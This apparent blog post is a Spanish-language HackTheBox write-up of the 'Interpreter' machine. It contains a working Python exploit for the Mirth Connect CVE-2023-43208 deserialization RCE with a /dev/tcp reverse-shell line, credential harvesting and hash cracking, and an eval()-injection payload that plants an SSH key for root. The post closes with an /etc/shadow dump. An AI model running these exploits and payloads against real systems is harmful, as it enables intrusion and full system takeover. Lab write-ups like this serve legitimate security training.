This page looks best with JavaScript enabled

HackTheBox - Interpreter

En Interpreter corre Mirth Connect en una version vulnerable que permitio el acceso inicial. La base de datos alojaba el hash de contrasena para un nuevo usuario. Finalmente escalamos privilegios con la explotacion de una vulnerabilidad en un script de Python.

Nombre Interpreter 0
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2026-02-21
IP 10.129.4.89
Maker

ReziT

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [227, 170, 637, 526, 490, 168, 95, 20, 13, 30],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.95 scan initiated Mon Feb 23 23:36:12 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,443,6661 -sV -sC -oN nmap_scan 10.129.4.89
Nmap scan report for 10.129.4.89
Host is up (0.067s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp  open  ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 23 23:39:17 2026 -- 1 IP address (1 host up) scanned in 184.74 seconds

Web Site

El puerto 80 muestra Mirth Connect.

image

Para el puerto 443, muestra el mismo contenido pero con un formulario de login.

image

El boton Launch Mirth Connect Administrator descarga el archivo webstart.jnlp donde se indica la version 4.4.0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
❯ cat ~/Downloads/webstart.jnlp|head
<jnlp codebase="https://10.129.4.89:443" version="4.4.0">
    	
    <information>
        		
        <title>Mirth Connect Administrator 4.4.0</title>
        		
        <vendor>NextGen Healthcare</vendor>
        		
        <homepage href="http://www.nextgen.com"/>
        		

User - Mirth

CVE-2023-43208

NextGen Mirth Connect tiene una vulnerabilidad tipo RCE en la version 4.4.0, confirmamos con una solicitud a la API.

1
2
3
❯ curl -k -H 'X-Requested-With: OpenAPI' https://10.129.4.89:443/api/server/version ; echo
4.4.0

Encontramos un exploit el cual simplificamos. El payload contiene una estructura XML con el comando a ejecutar dentro del metodo exec al endpoint /api/users.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import argparse
import requests
import sys
import urllib3

urllib3.disable_warnings()

if len(sys.argv) < 1:
    print(f"Usage: {sys.argv[0]} command")
    sys.exit(0)

MIRTH_URL = 'https://10.129.4.89'
endpoint = "/api/users"
headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0",
        "X-Requested-With": "OpenAPI",
        "Content-Type": "application/xml"
        }
proxies = {'https':'127.0.0.1:8080'}

def payload(cmd):
    cmd = cmd.replace("&", "&amp;")
    cmd = cmd.replace("<", "&lt;")
    cmd = cmd.replace(">", "&gt;")
    cmd = cmd.replace('"', "&quot;")
    cmd = cmd.replace("'", "&apos;")


    payload = f'''<sorted-set>
    <string>abcd</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
            <target class="org.apache.commons.collections4.functors.ChainedTransformer">
                <iTransformers>
                    <org.apache.commons.collections4.functors.ConstantTransformer>
                        <iConstant class="java-class">java.lang.Runtime</iConstant>
                    </org.apache.commons.collections4.functors.ConstantTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>getMethod</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                            <java-class>[Ljava.lang.Class;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>getRuntime</string>
                            <java-class-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>invoke</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.Object</java-class>
                            <java-class>[Ljava.lang.Object;</java-class>
                        </iParamTypes>
                        <iArgs>
                            <null/>
                            <object-array/>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                    <org.apache.commons.collections4.functors.InvokerTransformer>
                        <iMethodName>exec</iMethodName>
                        <iParamTypes>
                            <java-class>java.lang.String</java-class>
                        </iParamTypes>
                        <iArgs>
                            <string>{cmd}</string>
                        </iArgs>
                    </org.apache.commons.collections4.functors.InvokerTransformer>
                </iTransformers>
            </target>
            <methodName>transform</methodName>
            <eventTypes>
                <string>compareTo</string>
            </eventTypes>
        </handler>
    </dynamic-proxy>
</sorted-set>'''
    return payload

def send_exploit(payload):
    r = requests.post(url = MIRTH_URL + endpoint, 
                        headers=headers, 
                        data=payload,
                        timeout=20,
                        verify=False,
                        proxies = proxies)

def main():
    parser = argparse.ArgumentParser(description="Task Runner / Shell Connector")

    # Command
    parser.add_argument("-cmd", type=str, help="Execute a single command")    

    # Shell
    parser.add_argument("-shell", action="store_true", help="Initialize shell mode")
    parser.add_argument("-lhost", type=str, help="Local host IP for shell")
    parser.add_argument("-lport", type=int, help="Local port for shell")

    args = parser.parse_args()

    if args.cmd:
        print(f"[*] Executing Command: {args.cmd}")
        command = send_exploit(payload(args.cmd))
    elif args.shell:
        if not args.lhost or not args.lport:
            print("[-] Error: -shell requires both -lhost and -lport")
            sys.exit(1)
        print(f"[*] Initializing shell on {args.lhost}:{args.lport}")
        shell_cmd = f"sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/{args.lhost}/{args.lport};sh <&53 >&53 2>&53'"
        send_exploit(payload(shell_cmd))        
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

Confirmamos la ejecucion con curl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ python exploit.py 'curl 10.10.15.149'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 500 Request failed.</title>
</head>
<body><h2>HTTP ERROR 500 Request failed.</h2>
<table>
<tr><th>URI:</th><td>/api/users</td></tr>
<tr><th>STATUS:</th><td>500</td></tr>
<tr><th>MESSAGE:</th><td>Request failed.</td></tr>
<tr><th>SERVLET:</th><td>org.glassfish.jersey.servlet.ServletContainer-2176ac82</td></tr>
</table>

</body>
</html>

Observamos que la solicitud al servidor.

1
2
3
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.89 - - [24/Feb/2026 00:10:20] "GET / HTTP/1.1" 200 -

Shell

Ejecutamos la shell inversa del exploit.

1
2
3
❯ python exploit.py -shell -lhost 10.10.15.149 -lport 1335
[*] Initializing shell on 10.10.15.149:1335

Logrando el acceso como mirth.

1
2
3
4
5
6
7
8
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.4.89: inverse host lookup failed: Unknown host
connect to [10.10.15.149] from (UNKNOWN) [10.129.4.89] 36414
whoami
mirth
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)

Mirth DB

En el archivo de configuracion mirt.properties encontramos las credenciales de la base de datos MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwd
/usr/local/mirthconnect/conf
ls -lah
total 24K
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 .
drwxr-xr-x 14 mirth mirth 4.0K Feb 24 01:28 ..
-rwxr-xr-x  1 mirth mirth 1.5K Jul 18  2023 dbdrivers.xml
-rwxr-xr-x  1 mirth mirth 2.2K Sep 19 08:49 log4j2.properties
-rwxr-xr-x  1 mirth mirth 4.8K Feb 23 22:43 mirth.properties
cat mirth.properties | grep -v "#"

#[ ... cut ... ]

database = mysql

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

database.driver = org.mariadb.jdbc.Driver

database.max-connections = 20
database-readonly.max-connections = 20

database.username = mirthdb
database.password = MirthPass123!

database.connection.maxretry = 2

database.connection.retrywaitinmilliseconds = 10000

database.enable-read-write-split = true

Dentro de la base de datos encontramos un hash de contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'show tables'
Tables_in_mc_bdd_prod
ALERT
CHANNEL
CHANNEL_GROUP
CODE_TEMPLATE
CODE_TEMPLATE_LIBRARY
CONFIGURATION
DEBUGGER_USAGE
D_CHANNELS
D_M1
D_MA1
D_MC1
D_MCM1
D_MM1
D_MS1
D_MSQ1
EVENT
PERSON
PERSON_PASSWORD
PERSON_PREFERENCE
SCHEMA_INFO
SCRIPT
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'select * from PERSON_PASSWORD'
PERSON_ID	PASSWORD	PASSWORD_DATE
2	u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==	2025-09-19 09:22:28

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
La documentacion indica PBKDF2WithHmacSHA256 con iteracion 600000, convertimos el hash a formato hashcat PBKDF2-HMAC-SHA256.

1
2
3
4
INPUT="u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="
echo "sha256:600000:$(echo -n "$INPUT" | base64 -d | head -c 8 | base64):$(echo -n "$INPUT" | base64 -d | tail -c 32 | base64)"
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Ejecutamos hashcat en modo 10900 logrando encontrar el valor del hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 10900 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

# ...

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Tue Feb 24 00:56:30 2026 (9 secs)
Time.Estimated...: Tue Feb 24 00:56:39 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     2770 H/s (7.47ms) @ Accel:2 Loops:500 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 24576/14344385 (0.17%)
Rejected.........: 0/24576 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599500-599999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> 280789
Hardware.Mon.#01.: Temp: 57c Fan:  0% Util: 99% Core:2760MHz Mem:8251MHz Bus:8

Started: Tue Feb 24 00:56:28 2026
Stopped: Tue Feb 24 00:56:40 2026
PS C:\Users\x\Documents\github\hashcat-7.1.2>

User - Sedric

Localmente existe el usuario sedric.

1
2
3
4
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

La contrasena es aceptada para este usuario por SSH.

1
2
3
4
❯ netexec ssh 10.129.4.89 -u sedric -p snowflake1
SSH         10.129.4.89     22     10.129.4.89      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.129.4.89     22     10.129.4.89      [+] sedric:snowflake1  Linux - Shell access!

Logramos acceso con este usuario y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ ssh sedric@10.129.4.89
The authenticity of host '10.129.4.89 (10.129.4.89)' can't be established.
ED25519 key fingerprint is: SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.4.89' (ED25519) to the list of known hosts.
sedric@10.129.4.89's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:00:05 2026 from 10.10.15.149
sedric@interpreter:~$ whoami;id
sedric
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ cat user.txt 
84a29439c28174701ff6506b20931223
sedric@interpreter:~$

Privesc

Localmente encontramos el script notif.py siendo ejecutado como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sedric@interpreter:/dev/shm$ ps -aux | grep root
root           1  0.0  0.3 102012 12104 ?        Ss   Feb23   0:05 /sbin/init
# [... cut ...]
root        2262  0.0  0.0      0     0 ?        S    Feb23   0:00 [irq/16-vmwgfx]
root        2653  0.0  0.0      0     0 ?        S    Feb23   0:00 [audit_prune_tree]
root        2854  0.0  0.0      0     0 ?        I<   Feb23   0:00 [cryptd]
root        3178  0.0  0.0   6616  2744 ?        Ss   Feb23   0:00 /usr/sbin/cron -f
root        3185  0.0  0.1 221800  7120 ?        Ssl  Feb23   0:00 /usr/sbin/rsyslogd -n -iNONE
root        3188  0.0  0.1  17192  7820 ?        Ss   Feb23   0:00 /lib/systemd/systemd-logind
root        3196  0.0  0.1  16552  5920 ?        Ss   Feb23   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root        3250  0.0  0.0   5876  3484 ?        Ss   Feb23   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root        3380  0.1  0.2 144712 11368 ?        Sl   Feb23   0:23 /usr/sbin/vmtoolsd
root        3461  0.0  0.2  40776 11384 ?        S    Feb23   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root        3509  0.0  0.6 400204 25828 ?        Ssl  Feb23   0:09 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3514  0.0  0.7  39872 31020 ?        Ss   Feb23   0:03 /usr/bin/python3 /usr/local/bin/notif.py
root        3522  0.0  0.0   5880  1036 tty1     Ss+  Feb23   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        3536  0.0  0.2  15452  9348 ?        Ss   Feb23   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        3884  0.0  0.0      0     0 ?        I    Feb23   0:00 [kworker/1:1-events]
root        4056  0.0  0.0      0     0 ?        I    00:04   0:00 [kworker/u4:0-flush-8:0]
root        4181  0.0  0.0      0     0 ?        I    01:28   0:00 [kworker/u4:1-ext4-rsv-conversion]
root        4248  0.0  0.0      0     0 ?        I    01:52   0:00 [kworker/u4:2-ext4-rsv-conversion]
root        4255  0.0  0.1   8996  4036 ?        S    01:58   0:00 su sedric
root        4259  0.0  0.0      0     0 ?        I    01:58   0:00 [kworker/1:2-events]
root        4281  0.0  0.2  17840 11228 ?        Ss   02:00   0:00 sshd: sedric [priv]
root        4321  0.0  0.0      0     0 ?        I    02:03   0:00 [kworker/0:1]
root        5199  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/u4:3-ext4-rsv-conversion]
root       20676  0.0  0.0      0     0 ?        I    02:09   0:00 [kworker/1:0-events]
sedric     28652  0.0  0.0   6340  2072 pts/0    S+   02:13   0:00 grep root
sedric@interpreter:/dev/shm$ file /usr/local/bin/notif.py
/usr/local/bin/notif.py: Python script, ASCII text executable
sedric@interpreter:/dev/shm$

El script esta corriendo localmente y segun el comentario es parte de MirthConnect.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

En este encontramos una posible vulnerabilidad XXE Injection en la ruta /addPatient.

1
2
3
4
5
6
7
8
import xml.etree.ElementTree as ET, os

@app.route("/addPatient", methods=["POST"])
def receive():
    # ... cut ...
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)

Tambien una vulnerabilidad de tipo RCE con el uso de eval() en la funcion template() para la estructura enviada, especificamente para la edad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

RCE via eval

/addPatient toma una estructura XML la cual es evaluada con eval() por lo que podemos crear una estructura que contenga ejecucion de comandos en cualquiera de los valores enviados. Creamos la estructura con el codigo que ejecuta el comando id.

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<patient>
    <firstname>{__import__('os').popen('id').read()}</firstname>
    <lastname>Test</lastname>
    <sender_app>Mirth</sender_app>
    <timestamp>1200</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>

Tras enviar nuestra estrucutra observamos que el comando fue ejecutado como root.

1
2
3
4
sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient uid=0(root) gid=0(root) groups=0(root)
 Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$

Shell

Generamos una clave publica para el usuario sedric.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sedric@interpreter:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/sedric/.ssh/id_rsa): 
Created directory '/home/sedric/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/sedric/.ssh/id_rsa
Your public key has been saved in /home/sedric/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:qGdMJx8HCxPwVkQrQCPoyit8RZiFOIIayHT3Rtdq08A sedric@interpreter
The key's randomart image is:
+---[RSA 3072]----+
|=ooo*o.+=..      |
|*+.o.=oo.E .     |
|+.. + *oo +      |
|.. o o.= * .     |
|o   . + S o      |
|..   = + o       |
|. . o + .        |
|.o . o           |
|. .              |
+----[SHA256]-----+
sedric@interpreter:~$

Modificamos el payload para agregar nuestra clave al archivo authorized_keys de root. Se codifico en hex el comando ya que existe una expresion regular.

1
2
# cat /home/sedric/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
<firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>

Tras enviar el payload logramos acceso por SSH y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sedric@interpreter:/dev/shm$ cat payload.xml 
<?xml version="1.0" encoding="UTF-8"?>
<patient>
    <firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>
    <lastname>Test</lastname>
    <sender_app>Mirth</sender_app>
    <timestamp>1200</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient 0 Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$ ssh root@localhost
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:52:32 2026 from 127.0.0.1
root@interpreter:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@interpreter:~# cat root.txt 
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@interpreter:~# cat root.txt 
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~# cat /etc/shadow
root:$y$j9T$o.VVihLzQteSMxpHLdRkO.$ye7gwugB75H18vxlZ9Yp8uak36M3opreZHoWrWOJto7:20307:0:99999:7:::
daemon:*:20307:0:99999:7:::
bin:*:20307:0:99999:7:::
sys:*:20307:0:99999:7:::
sync:*:20307:0:99999:7:::
games:*:20307:0:99999:7:::
man:*:20307:0:99999:7:::
lp:*:20307:0:99999:7:::
mail:*:20307:0:99999:7:::
news:*:20307:0:99999:7:::
uucp:*:20307:0:99999:7:::
proxy:*:20307:0:99999:7:::
www-data:*:20307:0:99999:7:::
backup:*:20307:0:99999:7:::
list:*:20307:0:99999:7:::
irc:*:20307:0:99999:7:::
_apt:*:20307:0:99999:7:::
nobody:*:20307:0:99999:7:::
systemd-network:!*:20307::::::
systemd-timesync:!*:20307::::::
messagebus:!:20307::::::
avahi-autoipd:!:20307::::::
sshd:!:20307::::::
sedric:$y$j9T$MMATL11rB9egotaJXLTma0$VZ43M7Rr6.Ls7g8gZwoPCRWIXi6Wjv8j/d8iublq1nB:20495:0:99999:7:::
mirth:!:20311::::::
mysql:!:20350::::::
_laurel:!:20496::::::
root@interpreter:~#
Share on

Dany Sucuc
WRITTEN BY
sckull